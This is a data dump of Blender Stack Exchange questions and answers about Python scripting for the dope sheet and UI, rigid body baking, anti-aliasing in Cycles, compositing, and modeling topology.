  <row Id="3289" PostTypeId="2" ParentId="3287" CreationDate="2013-10-10T13:04:43.317" Score="3" Body="&lt;p&gt;If you wanna check the appended (or prepended) draw functions of another addons, added to built-in panels, you can do for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;draw_method = bpy.types.OBJECT_OT_relations.draw&#xA;if hasattr(draw_method, &quot;_draw_funcs&quot;):&#xA;    print(draw_method._draw_funcs)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As soon as a custom draw function is added, &lt;code&gt;_draw_funcs&lt;/code&gt; will be defined and contain a list of draw functions. They are stored in a list, which means you can &lt;code&gt;pop/remove/insert/append/prepend&lt;/code&gt; or shuffle the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A really advanced possibility is to intercept all draw calls, but beware! Only a single addon may do this at a time, or you'll run into errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Ideasman42/Blender_UI_Shenanigans&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/User:Ideasman42/Blender_UI_Shenanigans&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-10-10T20:50:44.193" LastActivityDate="2013-10-10T20:50:44.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3290" PostTypeId="1" AcceptedAnswerId="3383" CreationDate="2013-10-10T14:06:20.400" Score="21" ViewCount="3051" Body="&lt;p&gt;Let's say I set up a Rigid Body simulation in Blender (not in GE), and then run the simulation for a number of frames. Is there a way to tell Blender to use the current state and position as the initial state? So that when I go back to frame 1, the rigid bodies stay in the same place they did in frame X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if I want a pile of bricks, I first place the bricks in the air and then let them drop down on the ground, coming to rest. When they have come to rest, I want to use that position as the starting position.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2020-01-20T06:58:45.970" Title="Is there a way to set initial state with rigid bodies?" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3291" PostTypeId="2" ParentId="3290" CreationDate="2013-10-10T14:57:45.330" Score="10" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the rigid bodies and choose 'Bake To Keyframes' from the&#xA;'Rigid Body Tools' panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For v2.8 use the menu Object &gt; Rigid Body &gt; Bake to Keyframe&#xA;&lt;a href=&quot;https://i.stack.imgur.com/V1ctO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V1ctO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set both the 'Start Frame' and 'End Frame' values to be the frame number that you want to be the new start position, e.g. you may want frame 20 of the simulation to be the new starting position, so 20 is the frame number to use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Via the 'Dope Sheet' delete all the keyframes that have just been created for the rigid bodies.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will remove all the rigid body settings and will create 1 keyframe per object to store the object's position at the desired frame. You can then delete this keyframe and the object will stay at that position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New rigid body settings will then have to be applied to the objects to start a new rigid body simulation.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorDisplayName="user1853" LastEditDate="2020-01-20T06:58:45.970" LastActivityDate="2020-01-20T06:58:45.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3292" PostTypeId="1" AcceptedAnswerId="3293" CreationDate="2013-10-10T16:25:47.140" Score="6" ViewCount="1495" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H4t4q.png&quot; alt=&quot;Select even/odd keyframes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to automate the process of selecting only even/odd keyframes from dopesheet/action editor using python, anyone here can help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to delete it after selecting only even/odd keyframes. Thanks to anyone who would share the knowledge of blender python.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2013-10-10T20:54:40.657" Title="How to select even/odd keyframes with python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3293" PostTypeId="2" ParentId="3292" CreationDate="2013-10-10T17:51:01.757" Score="5" Body="&lt;p&gt;The following script is a bit rough, but it should do what you're looking for. It creates two new operators that work in the Dope Sheet, one for selecting even keys and one for selecting odd ones. &lt;s&gt;It uses &lt;code&gt;islice()&lt;/code&gt; from Python's &lt;code&gt;itertools&lt;/code&gt; module... someone more well-versed in Python might have a different/better method to iterate through the keys.&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses &lt;a href=&quot;http://docs.python.org/3/library/functions.html?highlight=values#slice&quot;&gt;extended indexing syntax&lt;/a&gt; (&quot;slice notation&quot;) on a &lt;a href=&quot;http://docs.python.org/3/library/stdtypes.html?highlight=values#dict.values&quot;&gt;dictionary view object&lt;/a&gt; of the &lt;code&gt;keyframe_points&lt;/code&gt; property collection (*phew*).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fair warning: this actually iterates through all of the actions in your .blend file. It shouldn't be too difficult to limit it to the actions in your scene or the actions of the selected object, but this should be enough to get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the script, copy it into Blender's Text Editor and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; (with your mouse in the Text Editor). Then, from the Dope Sheet, you should be able to find the operators using &lt;kbd&gt;Spacebar&lt;/kbd&gt; search.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def main(context, even_odd='ODD'):&#xA;    for action in bpy.data.actions:&#xA;        for channel in action.fcurves:&#xA;            if channel.select == True:&#xA;                #First deselect all keys in the channel&#xA;                for key in channel.keyframe_points:&#xA;                    key.select_control_point = False&#xA;                    key.select_left_handle = False&#xA;                    key.select_right_handle = False&#xA;                if even_odd == 'ODD':&#xA;                    #Select only odd keys&#xA;                    for key in channel.keyframe_points.values()[1::2]:&#xA;                        key.select_control_point = True&#xA;                else:&#xA;                    #Select only even keys&#xA;                    for key in channel.keyframe_points.values()[::2]:&#xA;                        key.select_control_point = True&#xA;&#xA;&#xA;class ChannelSelectEvenKey(bpy.types.Operator):&#xA;    '''Select even keys for selected channels in the dopesheet'''&#xA;    bl_idname = &quot;anim.channel_select_even&quot;&#xA;    bl_label = &quot;Select even keys&quot;&#xA;    bl_description = &quot;Select even keys for selected channels in the dopesheet&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.area.type == 'DOPESHEET_EDITOR'&#xA;&#xA;    def execute(self, context):&#xA;        main(context, 'EVEN')&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class ChannelSelectOddKey(bpy.types.Operator):&#xA;    '''Select odd keys for selected channels in the dopesheet'''&#xA;    bl_idname = &quot;anim.channel_select_odd&quot;&#xA;    bl_label = &quot;Select odd keys&quot;&#xA;    bl_description = &quot;Select odd keys for selected channels in the dopesheet&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.area.type == 'DOPESHEET_EDITOR'&#xA;&#xA;    def execute(self, context):&#xA;        main(context, 'ODD')&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ChannelSelectEvenKey)&#xA;    bpy.utils.register_class(ChannelSelectOddKey)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ChannelSelectEvenKey)&#xA;    bpy.utils.register_class(ChannelSelectOddKey)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="836" LastEditorUserId="1363" LastEditDate="2013-10-10T20:54:40.657" LastActivityDate="2013-10-10T20:54:40.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3294" PostTypeId="1" AcceptedAnswerId="3295" CreationDate="2013-10-10T20:33:14.183" Score="10" ViewCount="4561" Body="&lt;p&gt;When rendering an animation in the render window on the top right you can see the render time of the last frame. But where can I see the sum of the render times of all frames?&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="599" LastEditDate="2013-10-11T01:18:26.283" LastActivityDate="2017-10-11T18:13:01.250" Title="How to get accumulated render time of animation" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3295" PostTypeId="2" ParentId="3294" CreationDate="2013-10-10T20:36:14.837" Score="13" Body="&lt;p&gt;There's an add-on called &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Render_Time_Estimation&quot;&gt;Render Time Estimation&lt;/a&gt; that will do that for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure, I wrote that add-on.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-10-10T20:36:14.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3297" PostTypeId="2" ParentId="3219" CreationDate="2013-10-11T13:46:48.643" Score="16" Body="&lt;p&gt;Currently the only (simple) way to do this is to show the progress with the mouse cursor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;wm = bpy.context.window_manager&#xA;&#xA;# progress from [0 - 1000]&#xA;tot = 1000&#xA;wm.progress_begin(0, tot)&#xA;for i in range(tot):&#xA;    wm.progress_update(i)&#xA;wm.progress_end()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-10-11T13:46:48.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3298" PostTypeId="1" CreationDate="2013-10-11T14:18:43.903" Score="5" ViewCount="13246" Body="&lt;p&gt;I would like to change my user preferences to pan the 3D view using Mouse 4 button + Middle Mouse Button and dragging it. This is the same as SHIFT+MMB. I would like to use Mouse 4 instead of shift.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a Logitech G5 mouse which has 2 extra buttons on the side and I would like to use them. The buttons are recognised in Blender, that's not the problem. In Blender it is referred to as Button 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In User Preferences under the Input tab under 3D View I have created a new shortcut. I have tried multiple possibilities but none seem to work.&#xA;I tried copying the same as the shift+mmb entry and replacing shift with Button 4 but that doesn't seem to work. I have tried using view3D.view_pan (as in the shortcut using ctrl+mouse wheel) but that also doesn't seem to work. I have tried the press and click and numerous other options, also changing Middle to Move instead. none seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have saved my settings as default and am using a custom preset.&#xA;&lt;br&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; I am using a new custom preset. Besides this new entry, everything else is set to default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;updated picture: expanded view3d move modal&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P8BKr.png&quot; alt=&quot;custom shortcut&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Settings for default shortcut SHIFT+MMB&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HbXuI.png&quot; alt=&quot;default shortcut&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note that the shortcut says &quot;Button4 &lt;strong&gt;Mouse Middle&lt;/strong&gt;&quot; as opposed to &quot;Middle Mouse&quot;. I don't know why. This might have something to do with it.&#xA;Or as mentioned in the comments, maybe Blender does not support mouse buttons as modifiers.&lt;/p&gt;&#xA;" OwnerUserId="1423" LastEditorUserId="1423" LastEditDate="2013-10-12T07:19:09.900" LastActivityDate="2013-12-11T21:21:26.703" Title="How to set up custom controls - Pan using Mouse 4 + MMB" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3299" PostTypeId="1" AcceptedAnswerId="3301" CreationDate="2013-10-11T16:07:23.903" Score="5" ViewCount="14490" Body="&lt;p&gt;I think this question has been raised numerous of times, but I have yet not found an answer that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm rendering game graphics with cycles and I need them to be saved in RGB, without any alpha information what so ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/idSdI.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/F3NQI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to save this picture, exactly as it appears here, with no alpha. But it always saves an antialiased version of it against black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I save the image without antialiased result?&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="599" LastEditDate="2013-10-11T18:39:44.703" LastActivityDate="2013-10-28T12:32:18.780" Title="How to save an image without antialiasing in cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;antialiasing&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3300" PostTypeId="2" ParentId="3299" CreationDate="2013-10-11T18:17:43.387" Score="3" Body="&lt;p&gt;The &lt;em&gt;Anti-Aliasing&lt;/em&gt; option does nothing for the Cycles renderer, it's only for the OpenGL renderer (=viewport render).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanna have a Cycles render with no AA, try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Sampling&lt;/em&gt; panel, set from &lt;em&gt;Path Tracing&lt;/em&gt; to &lt;em&gt;Branched Path Tracing&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;em&gt;AA Samples&lt;/em&gt; to 1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Film&lt;/em&gt; panel, untick &lt;em&gt;Transparent&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save in RGB mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-10-11T18:17:43.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3301" PostTypeId="2" ParentId="3299" CreationDate="2013-10-11T18:32:30.717" Score="8" Body="&lt;p&gt;I assume you still want AA within the image, just not at the borders, so I'd suggest that you render with a transparent background and remove the border AA in the compositor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7lOTI.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's obviously ugly aliasing artifacts here but you could fine-tune the &quot;Greater Than&quot; Node or process multiple alpha ranges differently.&lt;/p&gt;&#xA;" OwnerUserId="1240" LastActivityDate="2013-10-11T18:32:30.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3302" PostTypeId="2" ParentId="3299" CreationDate="2013-10-11T18:36:20.247" Score="3" Body="&lt;p&gt;Another way to remove anti-aliasing in cycles is with &lt;em&gt;composite nodes&lt;/em&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Convertor#ID_Mask_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;ID Masks&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Object Index&lt;/em&gt; in &lt;em&gt;Renderlayers &gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ozaJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;pass index&lt;/em&gt;  of all the objects to &lt;code&gt;1&lt;/code&gt; by&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Select all&lt;/em&gt; (to ensure you have all objects selected, you may also need to un-hide hidden objects (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;) and toggle all layers visible (&lt;kbd&gt;~&lt;/kbd&gt;))&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;em&gt;Object Data &gt; Relations &gt; Pass Index&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click on the &lt;em&gt;Pass index&lt;/em&gt; setting, and select &lt;em&gt;Copy to selected&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uHN9e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This will add a new output to the &lt;em&gt;Renderlayer&lt;/em&gt; node. By plugging it into an &lt;em&gt;Id Mask&lt;/em&gt; node and setting the &lt;em&gt;Index&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt;, you can generate a mask of all the objects. This mask will not be antialiased when the &lt;em&gt;Anti-Aliasing&lt;/em&gt; option is disabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rhvk4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the resulting aliased mask as a &lt;em&gt;Mix factor&lt;/em&gt; to remove anti-aliasing from the render. This will only remove anti-aliasing from the edges next to the sky, leaving the edges over other objects smooth:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DTDpD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aDsA6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-12T00:25:24.847" LastActivityDate="2013-10-12T00:25:24.847" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3303" PostTypeId="2" ParentId="2826" CreationDate="2013-10-11T19:50:27.797" Score="4" Body="&lt;p&gt;Expanding on &lt;a href=&quot;https://blender.stackexchange.com/a/3296/599&quot;&gt;tobkum's answer&lt;/a&gt;, an example workflow using the technique in &lt;a href=&quot;https://www.youtube.com/watch?v=WNUYSMP97fg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; might be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup BI scene (simulation, etc.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new scene for Cycles, with &lt;em&gt;Link object data&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create Cycles materials, linking to &lt;em&gt;Object&lt;/em&gt; instead of &lt;em&gt;Data&lt;/em&gt; so BI and cycles materials are not synced:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7kFOe.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the BI scene:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Create BI materials, again using &lt;em&gt;Object&lt;/em&gt; instead of &lt;em&gt;Data&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable shadows for all BI materials except the smoke&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create renderlayers for smoke and smoke shadows using the &lt;em&gt;Shadow&lt;/em&gt; pass.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create renderlayers for reflections and refractions, and remove sky by setting the &lt;em&gt;Horizon color&lt;/em&gt; to black.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup compositing in Cycles scene:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create renderlayers for foreground and background objects&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Multiply BI shadows with cycles background layer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alpha over BI smoke over cycles background layer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alpha over cycles foreground layer over composite&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add or Mix BI reflections and refractions to composite&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-11-21T23:00:59.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3304" PostTypeId="1" AcceptedAnswerId="3308" CreationDate="2013-10-11T20:15:38.863" Score="0" ViewCount="755" Body="&lt;p&gt;The &lt;a href=&quot;http://funkboxing.com/wordpress/?p=301&quot; rel=&quot;nofollow&quot;&gt;Laplacian Lightning Generator&lt;/a&gt; addon broke with some recent API changes, as reported in &lt;a href=&quot;https://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=34211&amp;amp;group_id=9&amp;amp;atid=498&quot; rel=&quot;nofollow&quot;&gt;this bug&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempting to enable it results in this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/usr/share/blender/2.68/scripts/modules/addon_utils.py&quot;, line 294, in enable&#xA;    mod = __import__(module_name)&#xA;  File &quot;/usr/share/blender/2.68/scripts/addons_contrib/object_laplace_lightning.py&quot;, line 117, in &amp;lt;module&amp;gt;&#xA;    scn = bpy.context.scene&#xA;AttributeError: '_RestrictContext' object has no attribute 'scene'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As it was only some API changes that broke this, I assume (also from looking at the error) that this might be a fairly trivial problem (I'm inexperienced with python, so that might be a false assumption)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there a few simple changes I can make to get this addon working? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it works to run it in the text editor, however I would like to be able to use it as an addon without having to re run it every time I start blender.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-12T00:32:40.097" LastActivityDate="2013-10-12T00:32:40.097" Title="How can I enable the Laplacian Lightning Generator?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3305" PostTypeId="1" AcceptedAnswerId="3306" CreationDate="2013-10-11T20:21:57.737" Score="9" ViewCount="2533" Body="&lt;p&gt;Some times it's easier to add a quick sphere and move it so it intersects a part of an existing model rather than trying to connect the existing model to the sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When are these kinds of shortcuts acceptable (or not) for good topology? &lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-10-12T13:25:49.103" Title="When is acceptable to have disconnected geometry?" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3306" PostTypeId="2" ParentId="3305" CreationDate="2013-10-11T20:29:02.437" Score="9" Body="&lt;p&gt;This technique has lots of advantages, the biggest of which is of course speed of modeling. There are also some drawbacks you might want to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stacking is troublesome if you need bevelling. The intersections will stay sharp, no matter what.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qO4Dz.png&quot; alt=&quot;bevelling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Freestyle won't produce the result you're after. It uses face boundaries to find edges and there are none.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vdaK9.png&quot; alt=&quot;Freestyle edges&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the past, Blender sometimes had trouble to precisely calculate the intersections, resulting in a jagged appearance. I haven't noticed that lately so it might be fine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you deform the surface, the object might move relative to one another, resulting in a shift of the edge. Or in Z-fighting.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transparent materials will show that you tried to cheat. Nothing against cheating in 3D as long as you can get away with it. The left image is how it should look, the right is how it looks if it's stacked. This effect gets worse when you rotate around the object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2nZI9.jpg&quot; alt=&quot;Transparency&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you don't use it for joints or movable parts but just for speeding up the modeling, and you don't trim the parts inside the model, it always results in unnecessary geometry. Depends on the case what's more important. But even with trimming, it's still faster than manually connecting the detail or cleaning up boolean artefacts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adding small details has the advantage of not distorting the big geometry which can be quite time consuming to repair or plan in advance. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tools like the &lt;em&gt;Loop Cut&lt;/em&gt; will ignore the detail  when you work on the main mesh.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It affects your UV mapping workflow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One of the biggest factors still is screen size. Extreme closeups will reveal possible problems. If it's just a small detail, you can employ a lot of simplification techniques, saving time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-12T13:25:49.103" LastActivityDate="2013-10-12T13:25:49.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3307" PostTypeId="2" ParentId="3305" CreationDate="2013-10-11T22:48:17.547" Score="6" Body="&lt;p&gt;Some reasons, off the top of my head:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Style:  Maybe you are going for an early Pixar from the 90's look, with some primitives slapped together, I'm not gonna judge. &lt;/li&gt;&#xA;&lt;li&gt;Full rotational potential: If you are building, say, a robot with ball and socket joints, it would make sense not to connect the meshes.  There is a chance any part of the sphere is visible, so you do not want to go and connect the two at any point.  &lt;/li&gt;&#xA;&lt;li&gt;Interchangeability: Dota 2, the game, has characters that are made up of many different meshes, so the game can swap out parts at will.  Similar things may need to happen if you are making a game or something that another program needs to modify.  Guns and Characters will not be connected, as a more broad example.&lt;/li&gt;&#xA;&lt;li&gt;Speed:  Sometimes it is just plain faster for you to model and rig and animate if the meshes don't need to connect at any point.  Hair, spikes, that sort of thing are legitimate reasons.&lt;/li&gt;&#xA;&lt;li&gt;Modifier dodging: Sometimes you need parts of a mesh that will not be affected by an object-wide mesh modifier.  Splitting the item away and parenting it in place is a quick and easy solution (I realize that there are vertex weights, but that is imperfect and on a modifier-by-modifier basis).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="79" LastActivityDate="2013-10-11T22:48:17.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
